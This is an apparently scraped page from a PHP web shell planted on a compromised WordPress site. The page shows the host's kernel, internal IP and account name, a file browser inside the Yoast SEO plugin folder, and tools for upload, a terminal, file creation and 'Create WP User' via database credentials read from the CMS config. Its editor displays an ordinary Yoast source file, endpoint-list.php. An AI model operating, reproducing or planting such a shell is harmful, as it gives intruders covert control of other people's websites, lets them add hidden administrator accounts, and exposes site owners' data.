Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
routes
/
endpoint
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
endpoint-interface.php
451.00 B
-rw-r--r--
2026-05-07 09:19
endpoint-list.php
1.63 KB
-rw-r--r--
2026-05-24 14:30
endpoints-repository.php
843.00 B
-rw-r--r--
2026-05-07 09:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
endpoint-list.php
<?php // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure. // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded namespace Yoast\WP\SEO\Routes\Endpoint; /** * List of endpoints. */ class Endpoint_List { /** * Holds the endpoints. * * @var array<Endpoint_Interface> */ private $endpoints = []; /** * Adds an endpoint to the list. * * @param Endpoint_Interface $endpoint An endpoint. * * @return void */ public function add_endpoint( Endpoint_Interface $endpoint ): void { $this->endpoints[] = $endpoint; } /** * Converts the list to an array. * * @return array<string, string> The array of endpoints. */ public function to_array(): array { $result = []; foreach ( $this->endpoints as $endpoint ) { $result[ $endpoint->get_name() ] = $endpoint->get_url(); } return $result; } /** * Converts the list to an array of paths (namespace + route, without host). * * @return array<string, string> The array of endpoint paths. */ public function to_paths_array(): array { $result = []; foreach ( $this->endpoints as $endpoint ) { $result[ $endpoint->get_name() ] = $endpoint->get_namespace() . $endpoint->get_route(); } return $result; } /** * Merges two Endpoint_List objects together. * Returns the current instance for method chaining. * * @param Endpoint_List $other_list The other Endpoint_List to merge with. * * @return $this */ public function merge_with( Endpoint_List $other_list ): Endpoint_List { foreach ( $other_list->endpoints as $endpoint ) { $this->add_endpoint( $endpoint ); } return $this; } }
关闭
保存